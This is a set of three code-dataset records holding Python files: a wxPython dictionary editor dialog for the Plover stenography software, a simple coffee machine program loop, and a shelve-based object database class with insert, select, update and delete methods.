{"seq_id": "29951209622", "text": "import threading\nimport wx\nfrom wx.lib.utils import AdjustRectToScreen\nimport plover.gui.util as util\nfrom plover.dictionary_editor_store import DictionaryEditorStore\nfrom plover.dictionary_editor_store import COLUMNS\nfrom plover.dictionary_editor_store import COL_STROKE\nfrom plover.dictionary_editor_store import COL_TRANSLATION\nfrom plover.dictionary_editor_store import COL_DICTIONARY\nfrom plover.dictionary_editor_store import COL_SPACER\nfrom wx.grid import EVT_GRID_LABEL_LEFT_CLICK\nfrom wx.grid import PyGridTableBase\n\nTITLE = 'Plover: Dictionary Editor'\n\nFILTER_BY_STROKE_TEXT = 'Filter by stroke:'\nFILTER_BY_TRANSLATION_TEXT = 'Filter by translation:'\nDO_FILTER_BUTTON_NAME = 'Filter'\nINSERT_BUTTON_NAME = 'New Entry'\nDELETE_BUTTON_NAME = 'Delete Selected'\nSAVE_BUTTON_NAME = 'Save and Close'\nCANCEL_BUTTON_NAME = 'Close'\n\nNUM_COLS = len(COLUMNS)\n\n\nclass DictionaryEditor(wx.Dialog):\n\n    BORDER = 3\n\n    def __init__(self, parent, engine, config, on_exit):\n        pos = (config.get_dictionary_editor_frame_x(),\n               config.get_dictionary_editor_frame_y())\n        wx.Dialog.__init__(self, parent, title=TITLE, pos=pos,\n                           style=wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER)\n\n        self.config = config\n        self.on_exit = on_exit\n\n        # layout\n        global_sizer = wx.BoxSizer(wx.VERTICAL)\n\n        filter_sizer = wx.BoxSizer(wx.HORIZONTAL)\n\n        filter_left_sizer = wx.FlexGridSizer(2, 2, 4, 10)\n\n        label = wx.StaticText(self, label=FILTER_BY_STROKE_TEXT)\n        filter_left_sizer.Add(label,\n                              flag=wx.ALIGN_CENTER_VERTICAL,\n                              border=self.BORDER)\n\n        self.filter_by_stroke = wx.TextCtrl(self,\n                                            style=wx.TE_PROCESS_ENTER,\n                                            size=wx.Size(200, 20))\n        self.Bind(wx.EVT_TEXT_ENTER, self._do_filter, self.filter_by_stroke)\n        filter_left_sizer.Add(self.filter_by_stroke)\n\n        label = wx.StaticText(self, label=FILTER_BY_TRANSLATION_TEXT)\n        filter_left_sizer.Add(label,\n                              flag=wx.ALIGN_CENTER_VERTICAL,\n                              border=self.BORDER)\n\n        self.filter_by_translation = wx.TextCtrl(self,\n                                                 style=wx.TE_PROCESS_ENTER,\n                                                 size=wx.Size(200, 20))\n        self.Bind(wx.EVT_TEXT_ENTER,\n                  self._do_filter,\n                  self.filter_by_translation)\n        filter_left_sizer.Add(self.filter_by_translation)\n\n        filter_sizer.Add(filter_left_sizer, flag=wx.ALL, border=self.BORDER)\n\n        do_filter_button = wx.Button(self, label=DO_FILTER_BUTTON_NAME)\n        self.Bind(wx.EVT_BUTTON, self._do_filter, do_filter_button)\n\n        filter_sizer.Add(do_filter_button,\n                         flag=wx.EXPAND | wx.ALL,\n                         border=self.BORDER)\n\n        global_sizer.Add(filter_sizer, flag=wx.ALL, border=self.BORDER)\n\n        self.store = DictionaryEditorStore(engine, config)\n\n        # Grid\n        self.grid = DictionaryEditorGrid(self, size=wx.Size(800, 600))\n        self.grid.CreateGrid(self.store, 0, NUM_COLS)\n\n        self.grid.SetRowLabelSize(wx.grid.GRID_AUTOSIZE)\n\n        self.grid.SetColSize(COL_STROKE, 250)\n        self.grid.SetColSize(COL_TRANSLATION, 250)\n        self.grid.SetColSize(COL_DICTIONARY, 150)\n\n        read_only_right_aligned = wx.grid.GridCellAttr()\n        read_only_right_aligned.SetReadOnly(True)\n        read_only_right_aligned.SetAlignment(wx.ALIGN_RIGHT, wx.ALIGN_CENTRE)\n        self.grid.SetColAttr(COL_DICTIONARY, read_only_right_aligned)\n        self.grid.SetColAttr(COL_SPACER, read_only_right_aligned)\n\n        global_sizer.Add(self.grid, 1, wx.EXPAND)\n\n        buttons_sizer = wx.BoxSizer(wx.HORIZONTAL)\n\n        insert_button = wx.Button(self, label=INSERT_BUTTON_NAME)\n        self.Bind(wx.EVT_BUTTON, self._insert_new, insert_button)\n\n        buttons_sizer.Add(insert_button, flag=wx.ALL, border=self.BORDER)\n\n        delete_button = wx.Button(self, label=DELETE_BUTTON_NAME)\n        self.Bind(wx.EVT_BUTTON, self._delete, delete_button)\n\n        buttons_sizer.Add(delete_button, flag=wx.ALL, border=self.BORDER)\n\n        buttons_sizer.Add((0, 0), 1, wx.EXPAND)\n\n        save_button = wx.Button(self, label=SAVE_BUTTON_NAME)\n        self.Bind(wx.EVT_BUTTON, self._save_close, save_button)\n\n        buttons_sizer.Add(save_button, flag=wx.ALL, border=self.BORDER)\n\n        cancel_button = wx.Button(self, label=CANCEL_BUTTON_NAME)\n        self.Bind(wx.EVT_BUTTON, self._cancel_close, cancel_button)\n\n        buttons_sizer.Add(cancel_button, flag=wx.ALL, border=self.BORDER)\n\n        global_sizer.Add(buttons_sizer,\n                         0,\n                         flag=wx.EXPAND | wx.ALL,\n                         border=self.BORDER)\n\n        self.Bind(wx.EVT_MOVE, self._on_move)\n        self.Bind(wx.EVT_CLOSE, self._on_close)\n\n        self.SetAutoLayout(True)\n        self.SetSizer(global_sizer)\n        global_sizer.Fit(self)\n        global_sizer.SetSizeHints(self)\n        self.Layout()\n        self.SetRect(AdjustRectToScreen(self.GetRect()))\n\n        self.last_window = util.GetForegroundWindow()\n\n    def _do_filter(self, event=None):\n        threading.Thread(target=self._do_filter_thread).start()\n\n    def _do_filter_thread(self):\n        self.store.ApplyFilter(self.filter_by_stroke.GetValue(),\n                               self.filter_by_translation.GetValue())\n        self.grid.RefreshView()\n\n    def _insert_new(self, event=None):\n        self.grid.InsertNew()\n\n    def _delete(self, event=None):\n        self.grid.DeleteSelected()\n\n    def _save_close(self, event=None):\n        self.store.SaveChanges()\n        self.Close()\n\n    def _cancel_close(self, event=None):\n        self.Close()\n\n    def _on_move(self, event):\n        pos = self.GetScreenPositionTuple()\n        self.config.set_dictionary_editor_frame_x(pos[0])\n        self.config.set_dictionary_editor_frame_y(pos[1])\n        event.Skip()\n\n    def _on_close(self, event=None):\n        result = wx.ID_YES\n        if self.store.pending_changes:\n            dlg = wx.MessageDialog(self,\n                                   \"You will lose your changes. Are you sure?\",\n                                   \"Cancel\",\n                                   wx.YES_NO | wx.ICON_QUESTION)\n            result = dlg.ShowModal()\n            dlg.Destroy()\n        if result == wx.ID_YES:\n            try:\n                util.SetForegroundWindow(self.last_window)\n            except:\n                pass\n            self.on_exit()\n            self.Destroy()\n\n\nclass DictionaryEditorGrid(wx.grid.Grid):\n    \"\"\" Dictionary Manager's grid \"\"\"\n    GRID_LABEL_STROKE = \"Stroke\"\n    GRID_LABEL_TRANSLATION = \"Translation\"\n    GRID_LABEL_DICTIONARY = \"Dictionary\"\n    GRID_LABEL_SPACER = \" \"\n    sorted_labels = sorted([[COL_STROKE, GRID_LABEL_STROKE],\n                            [COL_TRANSLATION, GRID_LABEL_TRANSLATION],\n                            [COL_SPACER, GRID_LABEL_SPACER],\n                            [COL_DICTIONARY, GRID_LABEL_DICTIONARY]])\n    grid_labels = [pair[1] for pair in sorted_labels]\n\n    def __init__(self, *args, **kwargs):\n        wx.grid.Grid.__init__(self, *args, **kwargs)\n\n        self.parent = args[0]\n\n        self._changedRow = None\n\n    def CreateGrid(self, store, rows, cols):\n        \"\"\" Create the grid \"\"\"\n\n        wx.grid.Grid.CreateGrid(self, rows, cols)\n        wx.grid.Grid.DisableDragRowSize(self)\n\n        self.store = store\n\n        # Set GridTable\n        self._table = DictionaryEditorGridTable(self.store)\n        self.SetTable(self._table)\n\n        self._sortingColumn = 0\n        self._sortingAsc = None\n\n        self.Bind(EVT_GRID_LABEL_LEFT_CLICK, self._onLabelClick)\n\n    def RefreshView(self):\n        self._table.ResetView(self)\n\n    def InsertNew(self):\n        selected_row = self.GetGridCursorRow()\n        self.store.InsertNew(selected_row)\n        self._table.ResetView(self)\n\n    def DeleteSelected(self):\n        selected_row = self.GetGridCursorRow()\n        self.store.DeleteSelected(selected_row)\n        self._table.ResetView(self)\n\n    def _onLabelClick(self, evt):\n        \"\"\" Handle Grid label click\"\"\"\n\n        if evt.Row == -1:\n            if evt.Col >= 0:\n                self.store.Sort(evt.Col)\n                sort_column = self.store.GetSortColumn()\n                sort_mode = self.store.GetSortMode()\n                self._updateGridLabel(sort_column, sort_mode)\n                self._table.ResetView(self)\n\n        if evt.Col == -1:\n            if evt.Row >= 0:\n                self.SelectRow(evt.Row)\n                self.SetGridCursor(evt.Row, 0)\n\n    def _updateGridLabel(self, column, mode):\n        \"\"\" Change grid's column labels \"\"\"\n\n        directionLabel = \"\"\n        if mode is not None:\n            directionLabel = \" (asc)\" if mode else \" (desc)\"\n        for i in range(len(self.grid_labels)):\n            label = (self.grid_labels[i] +\n                     (directionLabel if column == i else \"\"))\n            self._table.SetColLabelValue(i, label)\n\n\nclass DictionaryEditorGridTable(PyGridTableBase):\n    \"\"\"\n    A custom wx.Grid Table using user supplied data\n    \"\"\"\n    def __init__(self, store):\n        \"\"\" Init GridTableBase with a Store. \"\"\"\n\n        # The base class must be initialized *first*\n        PyGridTableBase.__init__(self)\n        self.store = store\n        cols = sorted([[COL_STROKE, \"Stroke\"],\n                       [COL_SPACER, \"\"],\n                       [COL_TRANSLATION, \"Translation\"],\n                       [COL_DICTIONARY, \"Dictionary\"]])\n        self.col_names = [pair[1] for pair in cols]\n\n        self._rows = self.GetNumberRows()\n        self._cols = self.GetNumberCols()\n\n    def GetNumberCols(self):\n        return len(self.col_names)\n\n    def GetNumberRows(self):\n        return self.store.GetNumberOfRows()\n\n    def GetColLabelValue(self, col):\n        return self.col_names[col]\n\n    def SetColLabelValue(self, col, name):\n        self.col_names[col] = name\n\n    def GetRowLabelValue(self, row):\n        return str(row + 1)\n\n    def GetValue(self, row, col):\n        return self.store.GetValue(row, col)\n\n    def SetValue(self, row, col, value):\n        self.store.SetValue(row, col, value)\n\n    def ResetView(self, grid):\n\n        grid.BeginBatch()\n\n        for current, new, delmsg, addmsg in [\n            (self._rows, self.GetNumberRows(),\n                wx.grid.GRIDTABLE_NOTIFY_ROWS_DELETED,\n                wx.grid.GRIDTABLE_NOTIFY_ROWS_APPENDED),\n            (self._cols, self.GetNumberCols(),\n                wx.grid.GRIDTABLE_NOTIFY_COLS_DELETED,\n                wx.grid.GRIDTABLE_NOTIFY_COLS_APPENDED)\n        ]:\n            if new < current:\n                msg = wx.grid.GridTableMessage(self,\n                                               delmsg,\n                                               new,\n                                               current-new)\n                grid.ProcessTableMessage(msg)\n            elif new > current:\n                msg = wx.grid.GridTableMessage(self,\n                                               addmsg,\n                                               new-current)\n                grid.ProcessTableMessage(msg)\n                self.UpdateValues(grid)\n\n        grid.EndBatch()\n\n        self._rows = self.GetNumberRows()\n        self._cols = self.GetNumberCols()\n\n        grid.AdjustScrollbars()\n        grid.ForceRefresh()\n\n    def UpdateValues(self, grid):\n        \"\"\"Update all displayed values\"\"\"\n        # This sends an event to the grid table to update all of the values\n        msg = (wx.grid\n               .GridTableMessage(self,\n                                 wx.grid.GRIDTABLE_REQUEST_VIEW_GET_VALUES))\n        grid.ProcessTableMessage(msg)\n\n\ndef Show(parent, engine, config):\n    if 'dialog_instance' not in Show.__dict__:\n        Show.dialog_instance = None\n\n    def clear_instance():\n        Show.dialog_instance = None\n\n    if Show.dialog_instance is None:\n        Show.dialog_instance = DictionaryEditor(parent,\n                                                engine,\n                                                config,\n                                                clear_instance)\n    Show.dialog_instance.Show()\n    Show.dialog_instance.Raise()\n    util.SetTopApp()\n", "repo_name": "PBrunot/StenturaArduino", "sub_path": "Software/plover-copy/plover/gui/dictionary_editor.py", "file_name": "dictionary_editor.py", "file_ext": "py", "file_size_in_byte": 12385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "plover.dictionary_editor_store.COLUMNS", "line_number": 24, "usage_type": "argument"}, {"api_name": "wx.Dialog", "line_number": 27, "usage_type": "attribute"}, {"api_name": "wx.Dialog.__init__", "line_number": 34, "usage_type": "call"}, {"api_name": "wx.Dialog", "line_number": 34, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 35, "usage_type": "attribute"}, {"api_name": "wx.RESIZE_BORDER", "line_number": 35, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 41, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 41, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 43, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 43, "usage_type": "attribute"}, {"api_name": "wx.FlexGridSizer", "line_number": 45, "usage_type": "call"}, {"api_name": "wx.StaticText", "line_number": 47, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER_VERTICAL", "line_number": 49, "usage_type": "attribute"}, {"api_name": "wx.TextCtrl", "line_number": 52, "usage_type": "call"}, {"api_name": "wx.TE_PROCESS_ENTER", "line_number": 53, "usage_type": "attribute"}, {"api_name": "wx.Size", "line_number": 54, "usage_type": "call"}, {"api_name": "wx.EVT_TEXT_ENTER", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 58, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER_VERTICAL", "line_number": 60, "usage_type": "attribute"}, {"api_name": "wx.TextCtrl", "line_number": 63, "usage_type": "call"}, {"api_name": "wx.TE_PROCESS_ENTER", "line_number": 64, "usage_type": "attribute"}, {"api_name": "wx.Size", "line_number": 65, "usage_type": "call"}, {"api_name": "wx.EVT_TEXT_ENTER", "line_number": 66, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 71, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 73, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 74, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 77, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 77, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 80, "usage_type": "attribute"}, {"api_name": "plover.dictionary_editor_store.DictionaryEditorStore", "line_number": 82, "usage_type": "call"}, {"api_name": "wx.Size", "line_number": 85, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 88, "usage_type": "attribute"}, {"api_name": "plover.dictionary_editor_store.COL_STROKE", "line_number": 90, "usage_type": "argument"}, {"api_name": "plover.dictionary_editor_store.COL_TRANSLATION", "line_number": 91, "usage_type": "argument"}, {"api_name": "plover.dictionary_editor_store.COL_DICTIONARY", "line_number": 92, "usage_type": "argument"}, {"api_name": "wx.grid.GridCellAttr", "line_number": 94, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 94, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_RIGHT", "line_number": 96, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTRE", "line_number": 96, "usage_type": "attribute"}, {"api_name": "plover.dictionary_editor_store.COL_DICTIONARY", "line_number": 97, "usage_type": "argument"}, {"api_name": "plover.dictionary_editor_store.COL_SPACER", "line_number": 98, "usage_type": "argument"}, {"api_name": "wx.EXPAND", "line_number": 100, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 102, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 102, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 104, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 105, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 109, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 110, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 112, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 114, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 116, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 119, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 121, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 122, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 124, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 128, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 128, "usage_type": "attribute"}, {"api_name": "wx.EVT_MOVE", "line_number": 131, "usage_type": "attribute"}, {"api_name": "wx.EVT_CLOSE", "line_number": 132, "usage_type": "attribute"}, {"api_name": "wx.lib.utils.AdjustRectToScreen", "line_number": 139, "usage_type": "call"}, {"api_name": "plover.gui.util.GetForegroundWindow", "line_number": 141, "usage_type": "call"}, {"api_name": "plover.gui.util", "line_number": 141, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 144, "usage_type": "call"}, {"api_name": "wx.ID_YES", "line_number": 171, "usage_type": "attribute"}, {"api_name": "wx.MessageDialog", "line_number": 173, "usage_type": "call"}, {"api_name": "wx.YES_NO", "line_number": 176, "usage_type": "attribute"}, {"api_name": "wx.ICON_QUESTION", "line_number": 176, "usage_type": "attribute"}, {"api_name": "wx.ID_YES", "line_number": 179, "usage_type": "attribute"}, {"api_name": "plover.gui.util.SetForegroundWindow", "line_number": 181, "usage_type": "call"}, {"api_name": "plover.gui.util", "line_number": 181, "usage_type": "name"}, {"api_name": "wx.grid", "line_number": 188, "usage_type": "attribute"}, {"api_name": "plover.dictionary_editor_store.COL_STROKE", "line_number": 194, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_TRANSLATION", "line_number": 195, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_SPACER", "line_number": 196, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_DICTIONARY", "line_number": 197, "usage_type": "name"}, {"api_name": "wx.grid.Grid.__init__", "line_number": 201, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 201, "usage_type": "attribute"}, {"api_name": "wx.grid.Grid.CreateGrid", "line_number": 210, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 210, "usage_type": "attribute"}, {"api_name": "wx.grid.Grid.DisableDragRowSize", "line_number": 211, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 211, "usage_type": "attribute"}, {"api_name": "wx.grid.EVT_GRID_LABEL_LEFT_CLICK", "line_number": 222, "usage_type": "argument"}, {"api_name": "wx.grid.PyGridTableBase", "line_number": 265, "usage_type": "name"}, {"api_name": "wx.grid.PyGridTableBase.__init__", "line_number": 273, "usage_type": "call"}, {"api_name": "wx.grid.PyGridTableBase", "line_number": 273, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_STROKE", "line_number": 275, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_SPACER", "line_number": 276, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_TRANSLATION", "line_number": 277, "usage_type": "name"}, {"api_name": "plover.dictionary_editor_store.COL_DICTIONARY", "line_number": 278, "usage_type": "name"}, {"api_name": "wx.grid", "line_number": 311, "usage_type": "attribute"}, {"api_name": "wx.grid", "line_number": 312, "usage_type": "attribute"}, {"api_name": "wx.grid", "line_number": 314, "usage_type": "attribute"}, {"api_name": "wx.grid", "line_number": 315, "usage_type": "attribute"}, {"api_name": "wx.grid.GridTableMessage", "line_number": 318, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 318, "usage_type": "attribute"}, {"api_name": "wx.grid.GridTableMessage", "line_number": 324, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 324, "usage_type": "attribute"}, {"api_name": "wx.grid.GridTableMessage", "line_number": 341, "usage_type": "call"}, {"api_name": "wx.grid", "line_number": 341, "usage_type": "attribute"}, {"api_name": "wx.grid", "line_number": 343, "usage_type": "attribute"}, {"api_name": "plover.gui.util.SetTopApp", "line_number": 361, "usage_type": "call"}, {"api_name": "plover.gui.util", "line_number": 361, "usage_type": "name"}]}
{"seq_id": "21096060593", "text": "from art import logo\nfrom menu import Menu, MenuItem\nfrom coffee_maker import CoffeeMaker\nfrom money_machine import MoneyMachine\n\ncoffe_maker = CoffeeMaker()\nmenu = Menu()\nmoney_machine = MoneyMachine()\n\nprint(logo)\n\nis_on = True\nwhile is_on:\n\n    choice = input(f'What would you like? ({menu.get_items()}): ')\n    if choice == 'off':\n        is_on = False\n    elif choice == 'report':\n        coffe_maker.report()\n        money_machine.report()\n    else:\n        # retrive drink from menu module\n        drink = menu.find_drink(choice)\n        # check if we have sufficient ingredients for the drink\n        if coffe_maker.resource_sufficient(drink):\n            print(f\"Please insert ${drink.cost}.\")\n            # check if we have enough money for the drink then make the drink\n            if money_machine.make_payment(drink.cost):\n                coffe_maker.make_drink(drink)\n", "repo_name": "FaraiMajor/100DaysOfCode", "sub_path": "day16/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "coffee_maker.CoffeeMaker", "line_number": 6, "usage_type": "call"}, {"api_name": "menu.Menu", "line_number": 7, "usage_type": "call"}, {"api_name": "money_machine.MoneyMachine", "line_number": 8, "usage_type": "call"}, {"api_name": "art.logo", "line_number": 10, "usage_type": "argument"}, {"api_name": "menu.get_items", "line_number": 15, "usage_type": "call"}, {"api_name": "money_machine.report", "line_number": 20, "usage_type": "call"}, {"api_name": "menu.find_drink", "line_number": 23, "usage_type": "call"}, {"api_name": "money_machine.make_payment", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "4062095637", "text": "#!/usr/bin/env python3\r\n# -*- coding:utf-8 -*-\r\n# ================================================================================================ #\r\n# Project    : Atelier AI: Studio for AI Designers                                                 #\r\n# Version    : 0.1.4                                                                               #\r\n# Python     : 3.10.4                                                                              #\r\n# Filename   : /atelier/persistence/odb.py                                                         #\r\n# ------------------------------------------------------------------------------------------------ #\r\n# Author     : John James                                                                          #\r\n# Email      : john.james.ai.studio@gmail.com                                                      #\r\n# URL        : https://github.com/john-james-ai/atelier-ai                                         #\r\n# ------------------------------------------------------------------------------------------------ #\r\n# Created    : Thursday March 2nd 2023 05:49:40 am                                                 #\r\n# Modified   : Thursday March 2nd 2023 03:55:14 pm                                                 #\r\n# ------------------------------------------------------------------------------------------------ #\r\n# License    : MIT License                                                                         #\r\n# Copyright  : (c) 2023 John James                                                                 #\r\n# ================================================================================================ #\r\nimport os\r\nimport shelve\r\nfrom typing import Any\r\n\r\nfrom atelier.persistence.database import Database\r\nfrom atelier.persistence.exceptions import (\r\n    ObjectExistsError,\r\n    ObjectNotFoundError,\r\n    ObjectDatabaseConnectionError,\r\n)\r\n\r\n\r\n# ------------------------------------------------------------------------------------------------ #\r\n#                                       OBJECT DB                                                  #\r\n# ------------------------------------------------------------------------------------------------ #\r\nclass ObjectDB(Database):\r\n    \"\"\"Object Database\"\"\"\r\n\r\n    def __init__(self, name: str, filepath: str) -> None:\r\n        super().__init__()\r\n        self._name = name\r\n        self._filepath = filepath\r\n        self._is_connected = False\r\n        self._connection = None\r\n        os.makedirs(os.path.dirname(self._filepath), exist_ok=True)\r\n\r\n    @property\r\n    def name(self) -> str:\r\n        return self._name\r\n\r\n    @property\r\n    def filepath(self) -> str:\r\n        return self._filepath\r\n\r\n    @property\r\n    def is_connected(self) -> bool:\r\n        return self._is_connected\r\n\r\n    def __enter__(self):\r\n        self.connect()\r\n        return self\r\n\r\n    def __exit__(self, exc_type, exc_value, traceback):\r\n        if self._is_connected:\r\n            self.close()\r\n        if exc_type is not None:\r\n            self._logger.error(f\"\\nExecution Type: {exc_type}\")\r\n            self._logger.error(f\"\\nExecution Value: {exc_value}\")\r\n            self._logger.error(f\"\\nTraceback: {traceback}\")\r\n\r\n    def connect(self) -> None:\r\n        \"\"\"Connects to the database.\"\"\"\r\n        self._connection = shelve.open(self._filepath)\r\n        self._is_connected = True\r\n\r\n    def close(self) -> None:\r\n        \"\"\"Closes the underlying database connection.\"\"\"\r\n        self._connection.close()\r\n        self._is_connected = False\r\n\r\n    def insert(self, key: str, value: Any) -> None:\r\n        \"\"\"Inserts a key/value pair into the database.\"\"\"\r\n        if self.exists(key):\r\n            msg = f\"Object with key {key} already exists in the database {self._name}.\"\r\n            self._logger.error(msg)\r\n            raise ObjectExistsError(msg)\r\n\r\n        self._connection[key] = value\r\n\r\n    def select(self, key: str) -> Any:\r\n        \"\"\"Retrieves data from the database\"\"\"\r\n        try:\r\n            return self._connection[key]\r\n        except KeyError:\r\n            msg = f\"Object with key {key} not found in database {self._name}.\"\r\n            self._logger.error(msg)\r\n            raise ObjectNotFoundError(msg)\r\n        except ValueError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n        except TypeError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n\r\n    def selectall(self) -> Any:\r\n        \"\"\"Retrieves all data from the database\"\"\"\r\n        objects = {}\r\n        try:\r\n            keys = self._connection.keys()\r\n            for key in keys:\r\n                objects[key] = self._connection[key]\r\n            return objects\r\n        except ValueError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n        except AttributeError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n\r\n    def update(self, key: str, value: Any) -> None:\r\n        \"\"\"Updates an existing object in the database.\"\"\"\r\n        if self.exists(key):\r\n            self._connection[key] = value\r\n\r\n        else:\r\n            msg = f\"Object with key {key} not found in database {self._name}.\"\r\n            self._logger.error(msg)\r\n            raise ObjectNotFoundError(msg)\r\n\r\n    def delete(self, key: str) -> None:\r\n        \"\"\"Deletes existing data.\"\"\"\r\n        try:\r\n            del self._connection[key]\r\n        except KeyError:\r\n            msg = f\"Object with key {key} doesn't exist in the database {self._name}.\"\r\n            self._logger.error(msg)\r\n            raise ObjectNotFoundError(msg)\r\n        except ValueError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n        except TypeError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n\r\n    def exists(self, key: str) -> bool:\r\n        \"\"\"Checks existence of an item in the database.\"\"\"\r\n        try:\r\n            return key in self._connection.keys()\r\n        except ValueError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n        except AttributeError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n\r\n    def clear(self) -> None:\r\n        \"\"\"Clears cache of all objects.\"\"\"\r\n        try:\r\n            self._connection.clear()\r\n        except ValueError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n        except AttributeError:\r\n            msg = f\"Database connection {self._name} is closed.\"\r\n            self._logger.error(msg)\r\n            raise ObjectDatabaseConnectionError(msg)\r\n", "repo_name": "john-james-ai/atelier-ai", "sub_path": "atelier/persistence/odb.py", "file_name": "odb.py", "file_ext": "py", "file_size_in_byte": 7370, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "atelier.persistence.database.Database", "line_number": 34, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "shelve.open", "line_number": 71, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 79, "usage_type": "name"}, {"api_name": "atelier.persistence.exceptions.ObjectExistsError", "line_number": 84, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectNotFoundError", "line_number": 95, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 99, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 103, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 88, "usage_type": "name"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 116, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 120, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 105, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 122, "usage_type": "name"}, {"api_name": "atelier.persistence.exceptions.ObjectNotFoundError", "line_number": 130, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectNotFoundError", "line_number": 139, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 143, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 147, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 156, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 160, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 169, "usage_type": "call"}, {"api_name": "atelier.persistence.exceptions.ObjectDatabaseConnectionError", "line_number": 173, "usage_type": "call"}]}
